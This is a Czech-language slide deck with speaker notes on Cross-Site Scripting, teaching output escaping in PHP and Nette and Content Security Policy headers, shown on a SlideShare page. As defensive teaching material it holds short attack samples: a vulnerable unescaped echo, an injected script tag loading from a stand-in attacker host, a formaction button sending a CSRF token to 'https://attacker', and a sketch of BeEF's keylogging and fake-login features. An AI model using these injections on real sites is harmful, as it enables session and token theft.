SlideShare a Scribd company logo
Michal ŠpačekMichal Špaček www.michalspacek.czwww.michalspacek.cz @spazef0rze@spazef0rze
XSS PHP CSP ETC OMG WTF BBQXSS PHP CSP ETC OMG WTF BBQ
O útoku Cross-Site Scripting, hovězím, Content Security Policy i všem ostatním.
Tyto slajdy obsahují poznámky, které v původní přednášce nejsou.
https://commons.wikimedia.org/wiki/File:Standing-rib-roast.jpg
XSS
Cross-Site Scripting
Útok Cross-Site Scripting (XSS) poprvé popsal David Ross z Microsoftu už v
roce 1999. Od té doby je na webu stále k vidění, nezmizel a pořád je tu s námi.
Vývojářům se ho totiž nedaří moc eliminovat, i přesto, že o XSS už alespoň
jednou v životě slyšeli.
Cross-Site Scripting se nevyhýbá ani známým, leč nejmenovaným firmám. Podívejte
se na zeď slávy jedné takové a uvidíte, kolikrát se na jejich webu objevil. Jednička v
alertu na stránce je pro spoustu lidí ten útok XSS, ale to vůbec není vše, co dokáže.
Názvy foo, bar, foobar a další slouží pro případ, kdy nevíte, jak něco pojmenovat.
Já když nevím, tak to pojmenuju nějak takto. Můj SSH klíč je sice můj dobrý
kamarád, ale přesto bych nevěděl, jak jinak ho pojmenovat.
Trochu mě překvapilo, když na mě po uložení klíče na další stránce vyskočil náš
starý známý alert. V tomto případě šel Cross-Site Scripting použít k získání
uživatelovo CSRF tokenu z cookie, stačilo mu poslat odkaz na stránku, bez
JavaScriptu v URL – tomu se říká Stored XSS. Za nahlášení tohoto problému mě
Atlassian zařadil do Security Hall of Fame, díky!
LastPass nepoužívám jako svůj hlavní password manager, takže náhodně
vygenerované hlavní heslo mám napsané v jiném správci hesel. Není tedy nic, co by
mi ho připomnělo. A když nevím co napsat, tak programuju v JavaScriptu.
Po uložení na mě zase vyskočil nějaký alert, tentokrát ale JavaScript na tomto místě
nešel k ničemu zneužít. I přesto mě do síně slávy LastPassu zařadili a nahlášení
tenkrát ocenili 5 body, díky.
echo $row->username;
Z pohledu vývojáře vypadá útok Cross-Site Scripting například takhle. Dostanete za
úkol něco vypsat, tak to vypíšete. Narozdíl od například vyhledávacího políčka vás
ani nenapadne ošetřovat uživatelské jméno. Asi byste se divili, kolik uživatelů si do
něj schválně vloží nějaký roztomilý JavaScript. Ten se pak spouští na každé stránce,
kde se jméno vypisuje, tedy například i v administraci e-shopu.
Další až příliš častá varianta XSS vypadá třeba takto. JavaScript, nebo v tomto
případě obrázek, je vložený přímo do URL a uživatel musí na web přijít přes tuto
speciálně upravenou adresu. Této variantě se říká Reflected XSS. Jen pro jistotu,
ten obrázek na web nepatří, ačkoliv se tam vlastně docela hodí.
The Browser Exploitation Framework (BeEF) Project
Demo
The Browser Exploitation Framework usnadňuje spouštění útoků XSS. Pomocí něj
je možné ovládat více browserů, které jsou připojené (hooked) na BeEF server.
Browser můžeme donutit zahrát nějakou písničku, získávat z něj stisknuté klávesy
nebo v něm zobrazit falešný přihlašovací formulář. Ukázku naleznete ve videu
přibližně od 14. minuty.
echo htmlspecialchars($row->username);
Pokud se chcete bránit útoku Cross-Site Scripting, měli byste veškerý uživatelský
vstup včetně uživatelského jména ošetřovat pomocí funkce htmlspecialchars().
<script>
var tracking = '<?php echo … ?>';
</script>
Pokud budeme vypisovat uživatelský vstup do JavaScriptu, tak jen samotné
htmlspecialchars($vstup) nemusí stačit. V JavaScriptu se řetězce uzavírají do
jednoduchých uvozovek (apostrofů) a htmlspecialchars() standardně apostrofy
nepřevádí.
echo htmlspecialchars(
$row->name,
ENT_QUOTES
);
Abyste htmlspecialchars() donutili převádět i apostrofy, musíte přidat příznak
ENT_QUOTES. Jenže kvůli převodu 4 znaků (<, >, ", ') je tohle poměrně dlouhý zápis.
{$row->username}
Nejlepší věc, co můžete udělat pro obranu proti Cross-Site Scriptingu je použít
nějaký šablonovací systém, který výstup správně a sám automagicky ošetřuje.
Nemůžete pak na ošetření zapomenout. Toto je ukázka správně ošetřeného výpisu
uživatelského jména v Nette, resp. v šablonovacím systému Latte.
$el = Html::el()
→add('Uživatel ')
→add(Html::el('b')→add($row name→ ))
→add(' přidán');
$this→flashMessage($el);
Při použití frameworků a šablonovacích systémů je potřeba dávat pozor na jejich
správné použití. Framework Nette obsahuje hezkou třídu pro vytváření HTML kódu,
která se dá použít například pro zobrazování flash message s formátováním zprávy.
Najdete v této ukázce zobrazení flash message „Uživatel Michal přidán“ chybu,
která umožňuje provést XSS? Aktualizace: v Nette/Utils 2.4.0 byla metoda add()
přejmenována na jasnější addHtml() a byla přidána nová metoda addText().
$el = Html::el()
→setText('Uživatel ')
→add(Html::el('b')→setText($row name))→
→add(Html::el()→setText(' přidán'));
$this->flashMessage($el);
Místo metody add() byste měli použít metodu setText(), ta ošetřuje uživatelský
vstup. Slova „Uživatel“ a „přidán“ bychom sice mohli připojit pomocí add(), ale pro
jistotu použijeme také setText(). V budoucnu by totiž někdo mohl text nahradit za
uživatelský vstup a nemusel by si všimnout, že má změnit i jméno metody.
Aktualizace: v Nette/Utils 2.4.0 byla metoda add() přejmenována na přesnější
addHtml() a byla přidána nová metoda addText(), tu můžete použít také.
XSS
Auditor/Filter
Weboví vývojáři zapomínají vstupy ošetřovat a zapomínat budou z různých důvodů
i nadále. Proto se výrobci browserů už před časem rozhodli, že zavedou několik
dalších úrovní obrany, které mohou problém do jisté míry zmenšit. Jedna z takových
úrovní je tzv. XSS Auditor (někdy nazýváno jako XSS filtr), který je v Chrome a IE.
Do Firefoxu si ho můžete přidat instalací rozšíření NoScript. XSS filtr může zabránit
útoku Reflected XSS tím, že v požadavku, např. v adrese nebo formulářových polích
hledá JavaScript a zkoumá, jestli se nevrátil v odpovědi serveru a pokud ano, tak
jeho spuštění zablokuje, ale stránku zobrazí.
X-XSS-Protection: 1; mode=block
„Vyčištění“ stránky je defaultní nastavení. XSS auditor se někdy nemusí správně
trefit a může zablokovat spuštění správného JavaScriptu nebo při pokusu o „opravu“
stránky právě může nějaký Cross-Site Scripting vyrobit. Proto je lepší ze serveru
poslat hlavičku zobrazenou výše a filtr nastavit do režimu block. Nebo ho úplně
vypnout pomocí hodnoty 0.
X-XSS-Protection: 1; mode=block; report=https://…
Hlavička X-XSS-Protection má nestandardní rozšíření report. Hodnotou tohoto
parametru je adresa, na kterou browser návštěvníka pošle report, pokud se XSS
auditor aktivuje. Vy se tedy dozvíte, jestli na webu někde máte možnost Reflected
XSS provést. Report podporuje WebKit a Chromium a prohlížeče na nich postavené.
request-url + request-body
Browser na uvedenou adresu pošle JSON se dvěma klíči, request-url a request-
body. Dozvíte se tedy na jaké adrese je možné XSS provést a jaký požadavek
aktivaci XSS auditoru způsobil a problém pak můžete vyřešit. Reporty si můžete
posílat do vlastní aplikace, v budoucnu by tento typ reportů mohl umět i nástroj
report-uri.io.
CSP
Content Security Policy
Content Security Policy umí zabránit i ostatním typům XSS útoků, nejenom
Reflected variantě. CSP podporují všechny moderní browsery (Chrome, Firefox,
Edge a některé další) a spočívá v tom, že browseru pomocí whitelistu řeknete, které
zdroje (např. JavaScript, obrázky a další) a odkud může do aktuálně zobrazované
stránky načítat. Pokud chcete CSP používat pro weby psané v Nette, sledujte vývoj
balíčku spaze/csp-config na GitHubu.
Content Security Policy je v podstatě obyčejná HTTP hlavička, kterou server
prohlížeči posílá. Obsah té hlavičky může být poměrně dlouhý, podle toho, co
všechno chci browseru povolit. Hlavička také může být na každé stránce jiná.
Content-Security-Policy: default-src 'self'
Základní nastavení, které byste mohli chtít používat je defaultně povolit načítání
obrázků, JavaScriptů a dalších zdrojů pouze z domény, na které je umístěna
načítaná stránka. To zajistíme použitím direktivy default-src a hodnoty 'self' v
apostrofech. Browser pak například JavaScript vložený do stránky pomocí <script
src=//útočník/útok.js></script> nenačte a to i přesto, že v HTML taková
značka opravdu bude. Přísnější je nastavení default-src 'none', které zakáže
načítání všeho odkudkoliv. Nebojte, postupně jednotlivé typy zdrojů povolíme.
Content-Security-Policy:
default-src 'self';
img-src 'self' https://www.google-analytics.com
CSP direktiva img-src určuje, odkud může browser načítat obrázky. Hodnotou
'self' říkám, že je mohu načítat pouze z aktuální domény a druhou hodnotou
https://www.google-analytics.com říkám, že prohlížeč načte i obrázky vložené
pomocí <img src=https://www.google-analytics.com/...>. Google Analytics
si do stránky vkládá obrázek pomocí JavaScriptu, pro správnou funkčnost to
musíme tedy povolit. Ostatní zdroje, například kaskádové styly se načtou pouze ze
'self' domény, povolí to direktiva default-src. Hlavička by samozřejmě měla být
na jedné řádce, na slajdech je rozdělena z důvodu nedostatku místa.
Content-Security-Policy:
default-src 'self';
img-src 'self' https://www.google-analytics.com;
script-src 'self' https://www.google-analytics.com
Direktivou script-src určujeme, odkud browser může stáhnout a spustit
JavaScript. Hodnoty 'self' a https://www.google-analytics.com opět říkají,
že do stránky se může stahovat JavaScript pouze z aktuální domény a z domény
https://www.google-analytics.com. Nespustí se dokonce ani inline JavaScript, tedy
kód napsaný mezi značkami <script> a </script> nebo v atributech jako
onmouseover, onerror apod.
Content-Security-Policy:
default-src 'self';
img-src 'self' https://www.google-analytics.com;
script-src 'self' 'unsafe-inline'
Pokud byste takový inline JavaScript chtěli spouštět, musíte přidat hodnotu
'unsafe-inline'. Už z názvu je vidět, že tvůrci specifikace CSP považují inline
JavaScript za nebezpečný. Mohl ho do stránky totiž vložit útočník. Používat inline
JavaScript bych nedoporučoval, nepříjemné ale je to, že bez něj nefungují některé
nástroje jako například Google Tag Manager. Pokud ho na stránkách používáte,
musíte mít 'unsafe-inline' povolené. Content Security Policy Level 2 přidává
možnost k inline JavaScriptu připojit hash nebo token pro ověření, čímž se zaručí,
že přímo ve stránce bude spuštěn pouze JS, který je předem známý. Podpora
tohoto způsobu zatím není v browserech moc rozšířená, bohužel.
Content-Security-Policy:
default-src 'self';
img-src 'self' https://www.google-analytics.com;
script-src 'self' https://www.google-analytics.com;
frame-src https://www.youtube-nocookie.com
Když do stránky budete chtít vložit nějaký iframe, například video z YouTube, tak
musíte doménu povolit pomocí direktivy frame-src. Tato direktiva musí být uvedena
i když byste chtěli do stránky vložit frame z vaší domény, default-src 'self' totiž
nezahrnuje frame-src. Direktiva frame-src je zastaralá, v novější verzi CSP je
nahrazena direktivou child-src a ta již do default-src spadá. Tu bohužel
nepodporuje třeba Safari a nejčastěji to dopadá tak, že se prostě pošle child-src
a frame-src zároveň, se stejnými hodnotami.
Content-Security-Policy:
default-src 'self';
img-src 'self' https://www.google-analytics.com;
script-src 'self' https://www.google-analytics.com;
frame-src https://www.youtube-nocookie.com;
form-action 'self'
CSP umí pomocí direktivy form-action omezit URI, na které se odesílají formuláře
na stránce. Direktiva do default-src také nespadá. Pomocí form-action 'self'
říkám, že formuláře bude možné odeslat pouze na aktuální doménu. Útočník tak
nemůže vložit nějaký falešný formulář, který si odešle k sobě.
<input
type=submit
form="form1"
formaction="https://attacker"
>
V HTML 5 je možné do stránky vložit odesílací tlačíko i mimo samotný formulář
a pomocí atributu form ho s tímto formulářem propojit. Pomocí formaction mu pak
dokonce mohu změnit adresu, kam se formulář odešle. Velkým tlačítkem s nápisem
„Neklikejte sem“ tak mohu uživateli ukrást třeba statický CSRF token. Tomuto typu
útoku se říká Scriptless Attack a nejen kvůli němu byste měli omezit, kam vaše
formuláře lze odesílat.
Content-Security-Policy:
default-src 'self';
img-src 'self' https://www.google-analytics.com;
script-src 'self' https://www.google-analytics.com;
frame-src https://www.youtube-nocookie.com;
form-action 'self';
report-uri https://….report-uri.io/r/…
Content Security Policy také nabízí reportování, pokud k porušení nějaké nastavené
politiky v browseru dojde. Prohlížeč na zadanou adresu opět odešle JSON, tentokrát
trochu větší. Přijímání a zobrazování reportů si můžete napsat sami, ale je
výhodnější použít službu report-uri.io. Uživatelé mají totiž zavirované počítače, jsou
připojení na zákeřných Wi-Fi sítích, které do stránek vkládají reklamy, nebo mají jen
nainstalované špatně napsané extenze prohlížečů a tohle všechno zaručí, že vám
těch reportů bude chodit celkem dost.
Napsat správně zobrazování reportů není zrovna lehké a je zbytečné to dělat znovu.
Služba report-uri.io umí přehledně zobrazovat reporty, vytvářet grafy apod.
a pomůže vám zjistit, kde je problém. Výše je vidět report, který mi oznamuje, že
jsem udělal chybu na svém webu, pokusil jsem se totiž vložit obrázek ze špatného
umístění, které není povolené. Můj admin totiž nemá povoleno vkládat obrázky z
https://admin.michalspacek.cz. Bezpečnostní útok by byl hlášen podobně.
Content-Security-Policy-Report-Only:
default-src 'self';
img-src 'self' https://www.google-analytics.com;
script-src 'self' https://www.google-analytics.com;
frame-src https://www.youtube-nocookie.com;
form-action 'self';
report-uri https://….report-uri.io/r/…
Zavádět CSP na existující web není jednoduché. Musíte udělat inventuru všech
měřících kódů na webu, zjistit co na stránky všechno vkládáte a to zabere nějakou
dobu. CSP vám může pomoci. „Report Only“ varianta se zapíná hlavičkou Content-
Security-Policy-Report-Only a říká browseru, že když dojde k porušení nějaké
nastavené politiky, tak má sice poslat report, ale akci (zobrazení obrázku, spuštění
JS) má stejně provést. To se právě hodí pro zavádění CSP na běžící web. V logu
pak najdete co ještě máte povolit, pokud to dává smysl.
Michal ŠpačekMichal Špaček
www.michalspacek.czwww.michalspacek.cz @spazef0rze@spazef0rze
Tatra sice nezná bratra, ale je to jednička.
Začněte používat CSP a buďte lepší!

More Related Content

What's hot

Minulé století volalo (Cross-Site Scripting + BeEF + CSP demo)
Minulé století volalo (Cross-Site Scripting + BeEF + CSP demo)Minulé století volalo (Cross-Site Scripting + BeEF + CSP demo)
Minulé století volalo (Cross-Site Scripting + BeEF + CSP demo)
Michal Špaček
 
Základy webové bezpečnosti pro PR a marketing
Základy webové bezpečnosti pro PR a marketingZáklady webové bezpečnosti pro PR a marketing
Základy webové bezpečnosti pro PR a marketing
Michal Špaček
 
Přechod na HTTPS
Přechod na HTTPSPřechod na HTTPS
Přechod na HTTPS
Michal Špaček
 
WebTop100 Technické chyby, výkon a bezpečnost
WebTop100 Technické chyby, výkon a bezpečnostWebTop100 Technické chyby, výkon a bezpečnost
WebTop100 Technické chyby, výkon a bezpečnost
Michal Špaček
 
Víte, že nevíte, že já vím, že nevíte? (WebTop100 2014)
Víte, že nevíte, že já vím, že nevíte? (WebTop100 2014)Víte, že nevíte, že já vím, že nevíte? (WebTop100 2014)
Víte, že nevíte, že já vím, že nevíte? (WebTop100 2014)
Michal Špaček
 
Password manažeři detailněji – 1Password, LastPass, 2FA, sdílení
Password manažeři detailněji – 1Password, LastPass, 2FA, sdíleníPassword manažeři detailněji – 1Password, LastPass, 2FA, sdílení
Password manažeři detailněji – 1Password, LastPass, 2FA, sdílení
Michal Špaček
 
Kolik webových útoků znáš...
Kolik webových útoků znáš...Kolik webových útoků znáš...
Kolik webových útoků znáš...
Michal Špaček
 
Hlava není na hesla
Hlava není na heslaHlava není na hesla
Hlava není na hesla
Michal Špaček
 
Bezpečnost e-shopů (HTTPS, XSS, CSP)
Bezpečnost e-shopů (HTTPS, XSS, CSP)Bezpečnost e-shopů (HTTPS, XSS, CSP)
Bezpečnost e-shopů (HTTPS, XSS, CSP)
Michal Špaček
 
Bezpečnostní útoky na webové aplikace
Bezpečnostní útoky na webové aplikaceBezpečnostní útoky na webové aplikace
Bezpečnostní útoky na webové aplikace
Michal Špaček
 
Zapomeňte vaše hesla
Zapomeňte vaše heslaZapomeňte vaše hesla
Zapomeňte vaše hesla
Michal Špaček
 
HTTPS (a šifrování) všude
HTTPS (a šifrování) všudeHTTPS (a šifrování) všude
HTTPS (a šifrování) všude
Michal Špaček
 
Bezpečnost na mobilních zařízeních
Bezpečnost na mobilních zařízeníchBezpečnost na mobilních zařízeních
Bezpečnost na mobilních zařízeních
Michal Špaček
 
Bezpečnostní útoky na webové aplikace, Čtvrtkon 5
Bezpečnostní útoky na webové aplikace, Čtvrtkon 5Bezpečnostní útoky na webové aplikace, Čtvrtkon 5
Bezpečnostní útoky na webové aplikace, Čtvrtkon 5
Michal Špaček
 
Total Cost of Pwnership
Total Cost of PwnershipTotal Cost of Pwnership
Total Cost of Pwnership
Michal Špaček
 
Bezpečnost na webu
Bezpečnost na webuBezpečnost na webu
Bezpečnost na webu
Miloš Janda
 
Website Security & WordPress (Peter Gramantik)
Website Security & WordPress (Peter Gramantik)Website Security & WordPress (Peter Gramantik)
Website Security & WordPress (Peter Gramantik)wcsk
 
Nejčastejší problémy WordPress webů
Nejčastejší problémy WordPress webůNejčastejší problémy WordPress webů
Nejčastejší problémy WordPress webů
Vladimír Smitka
 
NMI14 Michal Špaček - Jak vytvářet, ukládat, používat hesla, jaké nástroje k ...
NMI14 Michal Špaček - Jak vytvářet, ukládat, používat hesla, jaké nástroje k ...NMI14 Michal Špaček - Jak vytvářet, ukládat, používat hesla, jaké nástroje k ...
NMI14 Michal Špaček - Jak vytvářet, ukládat, používat hesla, jaké nástroje k ...
New Media Inspiration
 
HTTPS zdarma a pro všechny - LinuxDays 2015
HTTPS zdarma a pro všechny - LinuxDays 2015HTTPS zdarma a pro všechny - LinuxDays 2015
HTTPS zdarma a pro všechny - LinuxDays 2015
tomashala
 

What's hot (20)

Minulé století volalo (Cross-Site Scripting + BeEF + CSP demo)
Minulé století volalo (Cross-Site Scripting + BeEF + CSP demo)Minulé století volalo (Cross-Site Scripting + BeEF + CSP demo)
Minulé století volalo (Cross-Site Scripting + BeEF + CSP demo)
 
Základy webové bezpečnosti pro PR a marketing
Základy webové bezpečnosti pro PR a marketingZáklady webové bezpečnosti pro PR a marketing
Základy webové bezpečnosti pro PR a marketing
 
Přechod na HTTPS
Přechod na HTTPSPřechod na HTTPS
Přechod na HTTPS
 
WebTop100 Technické chyby, výkon a bezpečnost
WebTop100 Technické chyby, výkon a bezpečnostWebTop100 Technické chyby, výkon a bezpečnost
WebTop100 Technické chyby, výkon a bezpečnost
 
Víte, že nevíte, že já vím, že nevíte? (WebTop100 2014)
Víte, že nevíte, že já vím, že nevíte? (WebTop100 2014)Víte, že nevíte, že já vím, že nevíte? (WebTop100 2014)
Víte, že nevíte, že já vím, že nevíte? (WebTop100 2014)
 
Password manažeři detailněji – 1Password, LastPass, 2FA, sdílení
Password manažeři detailněji – 1Password, LastPass, 2FA, sdíleníPassword manažeři detailněji – 1Password, LastPass, 2FA, sdílení
Password manažeři detailněji – 1Password, LastPass, 2FA, sdílení
 
Kolik webových útoků znáš...
Kolik webových útoků znáš...Kolik webových útoků znáš...
Kolik webových útoků znáš...
 
Hlava není na hesla
Hlava není na heslaHlava není na hesla
Hlava není na hesla
 
Bezpečnost e-shopů (HTTPS, XSS, CSP)
Bezpečnost e-shopů (HTTPS, XSS, CSP)Bezpečnost e-shopů (HTTPS, XSS, CSP)
Bezpečnost e-shopů (HTTPS, XSS, CSP)
 
Bezpečnostní útoky na webové aplikace
Bezpečnostní útoky na webové aplikaceBezpečnostní útoky na webové aplikace
Bezpečnostní útoky na webové aplikace
 
Zapomeňte vaše hesla
Zapomeňte vaše heslaZapomeňte vaše hesla
Zapomeňte vaše hesla
 
HTTPS (a šifrování) všude
HTTPS (a šifrování) všudeHTTPS (a šifrování) všude
HTTPS (a šifrování) všude
 
Bezpečnost na mobilních zařízeních
Bezpečnost na mobilních zařízeníchBezpečnost na mobilních zařízeních
Bezpečnost na mobilních zařízeních
 
Bezpečnostní útoky na webové aplikace, Čtvrtkon 5
Bezpečnostní útoky na webové aplikace, Čtvrtkon 5Bezpečnostní útoky na webové aplikace, Čtvrtkon 5
Bezpečnostní útoky na webové aplikace, Čtvrtkon 5
 
Total Cost of Pwnership
Total Cost of PwnershipTotal Cost of Pwnership
Total Cost of Pwnership
 
Bezpečnost na webu
Bezpečnost na webuBezpečnost na webu
Bezpečnost na webu
 
Website Security & WordPress (Peter Gramantik)
Website Security & WordPress (Peter Gramantik)Website Security & WordPress (Peter Gramantik)
Website Security & WordPress (Peter Gramantik)
 
Nejčastejší problémy WordPress webů
Nejčastejší problémy WordPress webůNejčastejší problémy WordPress webů
Nejčastejší problémy WordPress webů
 
NMI14 Michal Špaček - Jak vytvářet, ukládat, používat hesla, jaké nástroje k ...
NMI14 Michal Špaček - Jak vytvářet, ukládat, používat hesla, jaké nástroje k ...NMI14 Michal Špaček - Jak vytvářet, ukládat, používat hesla, jaké nástroje k ...
NMI14 Michal Špaček - Jak vytvářet, ukládat, používat hesla, jaké nástroje k ...
 
HTTPS zdarma a pro všechny - LinuxDays 2015
HTTPS zdarma a pro všechny - LinuxDays 2015HTTPS zdarma a pro všechny - LinuxDays 2015
HTTPS zdarma a pro všechny - LinuxDays 2015
 

Viewers also liked

Secure Password Management, Informal, @WalmartLabs
Secure Password Management, Informal, @WalmartLabsSecure Password Management, Informal, @WalmartLabs
Secure Password Management, Informal, @WalmartLabs
Karl Mueller
 
I forgot my password – what a secure password reset needs to have and why
I forgot my password – what a secure password reset needs to have and whyI forgot my password – what a secure password reset needs to have and why
I forgot my password – what a secure password reset needs to have and why
Michal Špaček
 
Darknet
DarknetDarknet
"Arbejde fremstilling og handling" Hannah Arendt's filosofi om arbejde. Works...
"Arbejde fremstilling og handling" Hannah Arendt's filosofi om arbejde. Works..."Arbejde fremstilling og handling" Hannah Arendt's filosofi om arbejde. Works...
"Arbejde fremstilling og handling" Hannah Arendt's filosofi om arbejde. Works...
Tommy Kjær Lassen
 
DAILY AGRI REPORT BY EPIC RESEARCH- 3 NOVEMBER 2012
DAILY AGRI REPORT BY EPIC RESEARCH- 3 NOVEMBER 2012DAILY AGRI REPORT BY EPIC RESEARCH- 3 NOVEMBER 2012
DAILY AGRI REPORT BY EPIC RESEARCH- 3 NOVEMBER 2012
Epic Research
 
OER development and re-use
OER development and re-useOER development and re-use
OER development and re-use
donatas_stankevicius
 
Better Presentations
Better Presentations Better Presentations
Better Presentations
Dean Shareski
 
Grafico diario del dax perfomance index para el 08 10-2013
Grafico diario del dax perfomance index para el 08 10-2013Grafico diario del dax perfomance index para el 08 10-2013
Grafico diario del dax perfomance index para el 08 10-2013Experiencia Trading
 
Digital Marketing by NetMedia8
Digital Marketing by NetMedia8Digital Marketing by NetMedia8
Digital Marketing by NetMedia8
NetMedia 8
 
Presentación de Educar21 en el aula
Presentación de Educar21 en el aulaPresentación de Educar21 en el aula
Presentación de Educar21 en el aula
Fernando Trujillo Sáez
 
Building a InCredible Product Brand (Christina Inge) ProductCamp Boston May 2013
Building a InCredible Product Brand (Christina Inge) ProductCamp Boston May 2013Building a InCredible Product Brand (Christina Inge) ProductCamp Boston May 2013
Building a InCredible Product Brand (Christina Inge) ProductCamp Boston May 2013
ProductCamp Boston
 
Latihan 2
Latihan 2Latihan 2
Latihan 2
leehuanthoo
 
Wildnet Technologies
Wildnet TechnologiesWildnet Technologies
Wildnet TechnologiesPrateek Gupta
 

Viewers also liked (13)

Secure Password Management, Informal, @WalmartLabs
Secure Password Management, Informal, @WalmartLabsSecure Password Management, Informal, @WalmartLabs
Secure Password Management, Informal, @WalmartLabs
 
I forgot my password – what a secure password reset needs to have and why
I forgot my password – what a secure password reset needs to have and whyI forgot my password – what a secure password reset needs to have and why
I forgot my password – what a secure password reset needs to have and why
 
Darknet
DarknetDarknet
Darknet
 
"Arbejde fremstilling og handling" Hannah Arendt's filosofi om arbejde. Works...
"Arbejde fremstilling og handling" Hannah Arendt's filosofi om arbejde. Works..."Arbejde fremstilling og handling" Hannah Arendt's filosofi om arbejde. Works...
"Arbejde fremstilling og handling" Hannah Arendt's filosofi om arbejde. Works...
 
DAILY AGRI REPORT BY EPIC RESEARCH- 3 NOVEMBER 2012
DAILY AGRI REPORT BY EPIC RESEARCH- 3 NOVEMBER 2012DAILY AGRI REPORT BY EPIC RESEARCH- 3 NOVEMBER 2012
DAILY AGRI REPORT BY EPIC RESEARCH- 3 NOVEMBER 2012
 
OER development and re-use
OER development and re-useOER development and re-use
OER development and re-use
 
Better Presentations
Better Presentations Better Presentations
Better Presentations
 
Grafico diario del dax perfomance index para el 08 10-2013
Grafico diario del dax perfomance index para el 08 10-2013Grafico diario del dax perfomance index para el 08 10-2013
Grafico diario del dax perfomance index para el 08 10-2013
 
Digital Marketing by NetMedia8
Digital Marketing by NetMedia8Digital Marketing by NetMedia8
Digital Marketing by NetMedia8
 
Presentación de Educar21 en el aula
Presentación de Educar21 en el aulaPresentación de Educar21 en el aula
Presentación de Educar21 en el aula
 
Building a InCredible Product Brand (Christina Inge) ProductCamp Boston May 2013
Building a InCredible Product Brand (Christina Inge) ProductCamp Boston May 2013Building a InCredible Product Brand (Christina Inge) ProductCamp Boston May 2013
Building a InCredible Product Brand (Christina Inge) ProductCamp Boston May 2013
 
Latihan 2
Latihan 2Latihan 2
Latihan 2
 
Wildnet Technologies
Wildnet TechnologiesWildnet Technologies
Wildnet Technologies
 

Similar to XSS PHP CSP ETC OMG WTF BBQ

#golang @SkrzCzDev (Skrz DEV Cirkus 21.10.2015)
#golang @SkrzCzDev (Skrz DEV Cirkus 21.10.2015)#golang @SkrzCzDev (Skrz DEV Cirkus 21.10.2015)
#golang @SkrzCzDev (Skrz DEV Cirkus 21.10.2015)
Jakub Kulhan
 
Nejčastější webové zranitelnosti
Nejčastější webové zranitelnostiNejčastější webové zranitelnosti
Nejčastější webové zranitelnosti
cCuMiNn
 
PoSobota 96 ČB 28.4.2018
PoSobota 96 ČB 28.4.2018PoSobota 96 ČB 28.4.2018
PoSobota 96 ČB 28.4.2018
Brilo Team
 
node.js: zápisky z fronty (Battle guide to node.js)
node.js: zápisky z fronty (Battle guide to node.js)node.js: zápisky z fronty (Battle guide to node.js)
node.js: zápisky z fronty (Battle guide to node.js)
almadcz
 
Instalace WordPress
Instalace WordPressInstalace WordPress
Instalace WordPress
Vladimír Smitka
 
TNPW2-2016-03
TNPW2-2016-03TNPW2-2016-03
TNPW2-2016-03
Lukáš Vacek
 
Jak si (ne)nechat hacknout Wordpress stránky
Jak si (ne)nechat hacknout Wordpress stránkyJak si (ne)nechat hacknout Wordpress stránky
Jak si (ne)nechat hacknout Wordpress stránky
Vladimír Smitka
 
Javascript na steroidech
Javascript na steroidechJavascript na steroidech
Javascript na steroidechseznamVyvojari
 
TNPW2-2014-03
TNPW2-2014-03TNPW2-2014-03
TNPW2-2014-03
Lukáš Vacek
 
Vytvořeno pro SEO (Designed for SEO)
Vytvořeno pro SEO (Designed for SEO)Vytvořeno pro SEO (Designed for SEO)
Vytvořeno pro SEO (Designed for SEO)
Pavel Ungr
 
Pavel ungr designed_for_seo
Pavel ungr designed_for_seoPavel ungr designed_for_seo
Pavel ungr designed_for_seoH1.cz
 
20110511 Vývoj software - produktivně, efektivně, kvalitně
20110511 Vývoj software - produktivně, efektivně, kvalitně20110511 Vývoj software - produktivně, efektivně, kvalitně
20110511 Vývoj software - produktivně, efektivně, kvalitněJiří Mareš
 
WordPress šablony a rychlost načítání (WordCamp Praha 2017)
WordPress šablony a  rychlost načítání (WordCamp Praha 2017)WordPress šablony a  rychlost načítání (WordCamp Praha 2017)
WordPress šablony a rychlost načítání (WordCamp Praha 2017)
Martin Michálek
 
Bezpečnost Wordpressu - 4. WP konference
Bezpečnost Wordpressu - 4. WP konferenceBezpečnost Wordpressu - 4. WP konference
Bezpečnost Wordpressu - 4. WP konference
Vladimír Smitka
 
CSS preprocesory
CSS preprocesoryCSS preprocesory
CSS preprocesory
Martin Michálek
 
WordPress: Základy - bezpečnost 3x3
WordPress: Základy - bezpečnost 3x3WordPress: Základy - bezpečnost 3x3
WordPress: Základy - bezpečnost 3x3
Vladimír Smitka
 
WordCamp Praha 2016 - Bezpečnost WordPress
WordCamp Praha 2016 - Bezpečnost WordPressWordCamp Praha 2016 - Bezpečnost WordPress
WordCamp Praha 2016 - Bezpečnost WordPress
Vladimír Smitka
 
WordPress - základy bezpečnosti
WordPress - základy bezpečnostiWordPress - základy bezpečnosti
WordPress - základy bezpečnosti
Vladimír Smitka
 

Similar to XSS PHP CSP ETC OMG WTF BBQ (20)

#golang @SkrzCzDev (Skrz DEV Cirkus 21.10.2015)
#golang @SkrzCzDev (Skrz DEV Cirkus 21.10.2015)#golang @SkrzCzDev (Skrz DEV Cirkus 21.10.2015)
#golang @SkrzCzDev (Skrz DEV Cirkus 21.10.2015)
 
Nejčastější webové zranitelnosti
Nejčastější webové zranitelnostiNejčastější webové zranitelnosti
Nejčastější webové zranitelnosti
 
PoSobota 96 ČB 28.4.2018
PoSobota 96 ČB 28.4.2018PoSobota 96 ČB 28.4.2018
PoSobota 96 ČB 28.4.2018
 
node.js: zápisky z fronty (Battle guide to node.js)
node.js: zápisky z fronty (Battle guide to node.js)node.js: zápisky z fronty (Battle guide to node.js)
node.js: zápisky z fronty (Battle guide to node.js)
 
Instalace WordPress
Instalace WordPressInstalace WordPress
Instalace WordPress
 
TNPW2-2016-03
TNPW2-2016-03TNPW2-2016-03
TNPW2-2016-03
 
Jak si (ne)nechat hacknout Wordpress stránky
Jak si (ne)nechat hacknout Wordpress stránkyJak si (ne)nechat hacknout Wordpress stránky
Jak si (ne)nechat hacknout Wordpress stránky
 
TNPW2-2011-06
TNPW2-2011-06TNPW2-2011-06
TNPW2-2011-06
 
Javascript na steroidech
Javascript na steroidechJavascript na steroidech
Javascript na steroidech
 
TNPW2-2014-03
TNPW2-2014-03TNPW2-2014-03
TNPW2-2014-03
 
Vytvořeno pro SEO (Designed for SEO)
Vytvořeno pro SEO (Designed for SEO)Vytvořeno pro SEO (Designed for SEO)
Vytvořeno pro SEO (Designed for SEO)
 
Pavel ungr designed_for_seo
Pavel ungr designed_for_seoPavel ungr designed_for_seo
Pavel ungr designed_for_seo
 
20110511 Vývoj software - produktivně, efektivně, kvalitně
20110511 Vývoj software - produktivně, efektivně, kvalitně20110511 Vývoj software - produktivně, efektivně, kvalitně
20110511 Vývoj software - produktivně, efektivně, kvalitně
 
